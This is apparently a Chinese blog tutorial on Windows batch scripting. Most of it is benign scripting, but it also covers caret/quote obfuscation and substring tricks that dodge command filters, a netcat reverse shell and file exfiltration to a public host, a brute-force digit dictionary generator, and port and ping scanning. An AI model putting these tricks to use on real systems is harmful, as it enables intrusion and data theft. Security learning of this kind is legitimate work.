关于windows下批处理的一些简单使用

符号与命令
|#连接命令,且只执行后边的命令。
|| #连接命令,前面的命令执行失败才会执行后边的命令。
& #前面的命令无论是否执行成功都会执行后边的命令。
&& #两条命令都必须为真才会执行。

在windows环境下,命令可以不区分大小写,”和^这还有成对的圆括号()符号并不会影响命令的执行

1
2
3
4
5
#正常执行
whoami
w"h"o"a"m"i
wh""o^a^mi
((((Wh^o^am""i))))

“可以无限加但是^不行,因为^在cmd中是转义符

1
2
3
4
5
#正常执行
w"""""""""""""hoami
w"""""""""""""hoa^m""i
#执行失败
w"""""""""""""hoa^^m""i

set命令 设置一个变量
直接输入set则回显出所有已设置的变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
C:\Users\Mant>set
PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC
PROCESSOR_ARCHITECTURE=AMD64
PROCESSOR_IDENTIFIER=Intel64 Family 6 Model 158 Stepping 9, GenuineIntel
PROCESSOR_LEVEL=6
PROCESSOR_REVISION=9e09
ProgramData=C:\ProgramData
ProgramFiles=C:\Program Files
ProgramFiles(x86)=C:\Program Files (x86)
ProgramW6432=C:\Program Files
PROMPT=$P$G
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\Windows\system32\WindowsPowerShell\v1.0\Modules
PUBLIC=C:\Users\Public
SESSIONNAME=Console
SystemDrive=C:
SystemRoot=C:\Windows
TEMP=C:\Users\Mzzd\AppData\Local\Temp
TMP=C:\Users\Mzzd\AppData\Local\Temp
USERDOMAIN=DESKTOP-UJG10J1
USERDOMAIN_ROAMINGPROFILE=DESKTOP-UJG10J1
USERNAME=Mzzd
USERPROFILE=C:\Users\Mzzd
windir=C:\Windows

回显太多,删了一些。

开始操作

1
2
3
4
5
6
7
#设置一个变量并输出
C:\Users\Mzzd>set a=1
C:\Users\Mzzd>%a%
'1' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
C:\Users\Mzzd>echo %a%
1

直接输入%a%发现报错了,看到这个报错相信一些技艺精湛的好兄弟已经构造出奇技淫巧了
没错,我们可以用它直接来执行系统命令

1
2
3
4
#执行whoami
C:\Users\Mzzd>set a=whoami
C:\Users\Mzzd>%a%
desktop-ujg10j1\mzzd

又或者

1
2
3
4
C:\Users\Mzzd>set a=who
C:\Users\Mzzd>set b=ami
C:\Users\Mzzd>%a%%b%
desktop-ujg10j1\mzzd

精简一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
C:\Users\Mzzd>set a=ser&&set b=ne&&set c=t u&&call %b%%c%%a%

\\DESKTOP-UJG10J1 的用户帐户
-------------------------------------------------------------------------------
Administrator DefaultAccount
Guest Mzzd
命令成功完成。
C:\Users\Mzzd>cmd /c "set envar=net user && call %envar%"

\\DESKTOP-UJG10J1 的用户帐户

-------------------------------------------------------------------------------
Administrator DefaultAccount
Guest Mzzd
命令成功完成。

不过这里要注意,变量a、b、c之前要未被赋值,不然使用的仍是之前赋的值
cmd /c “string”表示:执行字符串string指定的命令,然后终止。

切割字符串
%a:~x,y%
对变量a的值从第x个元素开始提取,总共取y个字符
也可以写-x,-y,从后往前取
写作-x,可取从后往前数第x位的字符开始,一直到字符的末尾
-y来决定少取几个字符

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
C:\Users\Mzzd>set a=12whoami9
#%a:~0% 取出a值中的所有字符
C:\Users\Mzzd>%a:~0%
'12whoami9' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
#%a:~0,6% 取出a的值,从第0个位置开始,取6个值
C:\Users\Mzzd>%a:~0,6%
'12whoa' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
#%a:~2,7% 取出a的值,从第2个位置开始,取7个值
C:\Users\Mzzd>%a:~2,7%
'whoami9' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
#%a:~2,6% 取出a的值,从第2个位置开始,取6个值
C:\Users\Mzzd>%a:~2,6%
desktop-ujg10j1\mzzd
C:\Users\Mzzd>%a:~-2%
'i9' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
C:\Users\Mzzd>%a:~-6,-1%
'hoami' 不是内部或外部命令,也不是可运行的程序
或批处理文件。
C:\Users\Mzzd>%a:~-7,-1%
desktop-ujg10j1\mzzd

我们可以用切割字符串操作来进行一些绕过,比如空格被过滤

1
2
3
4
5
6
7
8
C:\Users\Mzzd>net%CommonProgramFiles:~10,1%user

\\DESKTOP-UJG10J1 的用户帐户

-------------------------------------------------------------------------------
Administrator DefaultAccount
Guest Mzzd
命令成功完成。

CommonProgramFiles=C:\Program Files\Common Files
系统内置变量,第10位开始截取1位正好是空格
所以刚才的命令就变成了net user
同样,我们需要的字符都可以用这个方法来获取

for
for [-d | -l | -r | -f] %%变量名 in (相关文件或命令) do [执行命令]
这里用%%,两个百分号是批处理中书写的格式,如果是用户在命令
行输入的形式,输入只需一个%号。

可以看到for有四个参数:/d /l /r /f
%%变量名: 这个变量名可以是单个的大小写字母,它们区分大小写!for 会把从(set)按顺序读取到的每个值赋值给它。
in 命令格式,照写就是。
(相关文件或命令): for 把这里的值读取后赋值给变量%%variable。
do 命令格式,照写就是。
执行命令: 对每个变量的值要执行的操作,当然也可以没有任何操作,这个看实际需要。例如利用 for 循环来延迟程序,就不需要 for 执行任何操作,只需要不断循环即可。

1.参数/d
只搜索当前目录下的目录(也就是文件夹,不包括子目录)。注意:/d 无法搜索到隐藏的文件夹。
语法格式:for /d %%variable in (set) do command [command-parameters]
搜索 set(可以包含通配符和?)里的文件夹后执行指定的Command。用于目录搜索,不会搜索文件。

1
2
3
4
::打印c盘根目录下所有文件夹
for /d %i in (C:\*) do @echo %i
::把当前路径下文件夹的名字只有1-3个字母的打印出来
for /d %i in (???) do @echo %i

for /d 不能匹配带隐藏属性的文件夹,在灵活性上不及 for /f 和 dir的组合;当“元素集合”中不包含任何统配符的时候,它完全是 “for %%i in (元素集合) do ……” 语句的翻版,但是又稍显复杂。感觉for /d 就是鸡肋一块。

2.参数/r
只搜索目录中(包括子目录和子目录的子目录,也就是目录树)的所有文件。这个和/d 作用互补。
语法格式:for /r [[drive:]path] %%variable in (set) do command[command-parameters]
如果在 /r 后没有指定目录,则使用当前目录。如果 set 仅为一个单点(.)字符,则枚举该目录树。
例如枚举C:\windows 目录树的所有文件:for /r C:\windows %%i in (.) do echo %%i

1
2
3
4
5
6
7
8
::打印d:\wwwroot\web1\所有文件,然后保存在d:\wwwroot\web1\1.txt
@echo off
for /r d:\wwwroot\web\ %%i in (*.*) do echo %%i >>d:\wwwroot\web1\1.txt
pause
::搜索并打印c盘中所有后缀为ini的文件
@echo off
for /r f:\ %%i in (nc.exe) do echo %%i
pause

程序列举了f盘所有目录,虽然每个目录最后都显示nc.exe,其实那不是真的存在nc.exe。之所以会这样,是因为计算机在搜索所有的目录,搜索过程伴随回显。为了只列举nc.exe存在的目录,程序应该这样写:

1
2
3
@echo off
for /r f:\ %%i in (nc.exe) do if exist %%i echo %%i
pause

执行则只显示nc.exe存在的目录了。

3.参数/l
语法格式:for /l %%variable in (start,step,end) do command [command-parameters]
从 start 开始,以 step 为步长,直至最接近 end 那个整数为止,这中间有多少个整数,do 后面就执行多少次。
(1,1,5)将产生序列 12345,5 次重复,并依次将序列赋值到变量%%i。 (5,-1,1)将产生 54321 序列,也是 5 次重复,并依次将序列赋值到变量%%i。这个常用于循环结构。对于 in 后面括号里的三个变量,逗号隔开改为空格隔开也是可以的,不过不建议用空格隔开。

1
for /l %i in (1,1,5) do start cmd

执行后打开5个cmd窗口,/l比较好理解,下文也有具体应用场景,这里不过多赘述。

4.参数/f
/f是for循环中最复杂的一个参数。
用途:它能够对字符串进行操作,也能够对命令的返回值进行操作,还可以访问硬盘上的 ASCII 码文件,比如 txt 文档等。常用于文本信息编辑,如查询、提取、替换等等。

暂时留空

if

for批处理查文件

场景1
windows nc下载
上传nc
nc反弹shell到公网主机1.1.1.1
nc -h确认是否有-e选项
nc -e cmd.exe 1.1.1.1 80
ps:有时会执行失败显示连接自动关闭,加一个-t参数可解决nc -e cmd.exe -t 1.1.1.1 80

nc传文件:
公网主机1.1.1.1监听80
nc -lvvp 80
目标机执行
nc -vv 1.1.1.1 80<E:\test\test.bat

场景2
批处理在当前目录生成验证码字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
@echo off
echo ****************************************
echo * 1.输出4位数字字典 *
echo * 2.输出6位数字字典 *
echo ****************************************


set /p a=请选择
if %a%==1 goto:IV
if %a%==2 goto:VI


::4位字典
:IV
for /l %%i in (1,1,9999) do (
if %%i lss 10 (echo 000%%i>>pass_4.txt
) else (if %%i lss 100 (echo 00%%i>>pass_4.txt
) else (if %%i lss 1000 (echo 0%%i>>pass_4.txt
) else echo %%i>>pass_4.txt
)))
goto:end


::6位字典
:VI
for /l %%i in (1,1,999999) do (
if %%i lss 10 (echo 00000%%i>>pass_6.txt
) else (if %%i lss 100 (echo 0000%%i>>pass_6.txt
) else (if %%i lss 1000 (echo 000%%i>>pass_6.txt
) else (if %%i lss 10000 (echo 00%%i>>pass_6.txt
) else (if %%i lss 100000 (echo 0%%i>>pass_6.txt
) else echo %%i>>pass_6.txt
)))))
goto:end

:end
pause

场景3
不使用第三方软件探测端口连通性
有tnc和telnet两种方式
tnc 模块方式。tnc 也就是 powershell 的 Test-NetConnection 模块,专门用于网络连接性测试:

1
powershell -c "53,80,443 | % {tnc -informationlevel Quiet baidu.com -port $_}"

lmage
显然,true即为开放,唯一不足是需要自己去找对应关系。

telnet 命令方式,也可用于探测端口状态:

1
for /l %i in (78,1,81)do start telnet 1.1.1.1 %i &timeout /t 1&taskkill /im telnet.exe /f

lmage
explain:循环访问78-81端口,超时1s就退出进程。根据实际情况可以加长超时时间。
但是没有powershell的tnc丝滑

探测主机存活

1
for /l  %i  in (1,1,255) do @  ping  192.168.43.%i  -w  1  -n  1 |  find  /i  "ttl="

lmage

场景4
一键改IP地址

1
2
3
4
netsh interface ip set address "以太网" static 10.87.225.178 255.255.255.224 10.87.225.190
netsh interface ip set dns "以太网" static 10.87.13.86 primary
netsh interface ip add dns "以太网" 10.87.13.87
::右键使用管理员运行。

ps:因为环境原因,需要时常切换网络,把要更换的地址保存起来使用方便多了。

场景5
重启资源管理器explorer以修复桌面图表显示错误问题

1
2
3
4
5
@echo off
taskkill /f /im explorer.exe
CD /d %userprofile%\AppData\Local
DEL IconCache.db /a
start explorer.exe

场景6
批处理创建计划任务

方法:

1
2
3
4
5
6
7
8
9
10
11
@echo off

schtasks /create /tn "Del-7_log" /ru system /tr D:\aizzw\del-7.bat /sc weekly /d mon /st 01:00

start %systemroot%\tasks

echo 创建成功,请检查...

pause

del /f Create.bat

参数解释:

schtasks /create 指的是创建计划任务
/tn 指定计划任务的名称
/ru 指定运行该批处理的账号,如果去掉该参数则默认为当前账户运行,会提示输入密码。
一个计划任务所用的账号如果密码变动后该批处理就不再会运行成功
所以我这里使用系统账号system,密码就省略不写。
/rp 指定账号的密码
/tr 指定程序所在路径,这里为指定要执行的批处理存放路径。
/sc 为指定运行的周期
/d 为日期.这里mon为英文单词缩写,周一
/st 为运行时间
start %systemroot%\tasks 这一句只是为了弹出计划任务窗口查看创建成功与否
del /f Create.bat 为创建完成后自动删除创建该计划任务的批处理

语法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
schtasks/create/tnTaskName/trTaskRun/scschedule[/momodifier][/dday][/mmonth[,month...][/iIdleTime][/stStartTime][/sdStartDate][/edEndDate][/scomputer[/u[domain\]user/ppassword]][/ru{[Domain\]User|"System"} [/rpPassword]]/?

参数

/tnTaskName

指定任务的名称。

/trTaskRun

指定任务运行的程序或命令。键入可执行文件、脚本文件或批处理文件的完全合格的路径和文件名。如果忽略该路径,SchTasks.exe 将假定文件在Systemroot\System32 目录下。

/scschedule

指定计划类型。有效值为 MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY、ONCE、ONSTART、ONLOGON、ONIDLE。 值 说明

MINUTE、HOURLY、DAILY、WEEKLY、MONTHLY 指定计划的时间单位。

ONCE 任务在指定的日期和时间运行一次。

ONSTART 任务在每次系统启动的时候运行。可以指定启动的日期,或下一次系统启动的时候运行任务。

ONLOGON 每当用户(任意用户)登录的时候,任务就运行。可以指定日期,或在下次用户登录的时候运行任务。

ONIDLE 只要系统空闲了指定的时间,任务就运行。可以指定日期,或在下次系统空闲的时候运行任务。

/momodifier

指定任务在其计划类型内的运行频率。这个参数对于 MONTHLY 计划是必需的。对于 MINUTE、HOURLY、DAILY 或 WEEKLY 计划,这个参数有效,但也可选。默认值为 1。 计划类型 修饰符 说明

MINUTE 1~1439 任务每n分钟运行一次。

HOURLY 1~23 任务每n小时运行一次。

DAILY 1~365 任务每n天运行一次。

WEEKLY 1~52 任务每n周运行一次。

MONTHLY 1~12 任务每n月运行一次。

LASTDAY 任务在月份的最后一天运行。

FIRST、SECOND、THIRD、FOURTH、LAST 与/dday参数共同使用,并在特定的周和天运行任务。例如,在月份的第三个周三。

例:

1
2
3
4
5
6
7
8
9
10
11
E:\sqlmap
λ schtasks /create /tn "gaowei_scan" /tr c:\Users\Hasee\Desktop\3.py /sc minute /mo 30
成功: 成功创建计划任务 "gaowei_scan"。
#每30分钟运行一次3.py

schtasks
#查看所有计划任务

E:\sqlmap
λ schtasks /delete /TN gaowei_scan /f
成功: 计划的任务 "gaowei_scan" 被成功删除。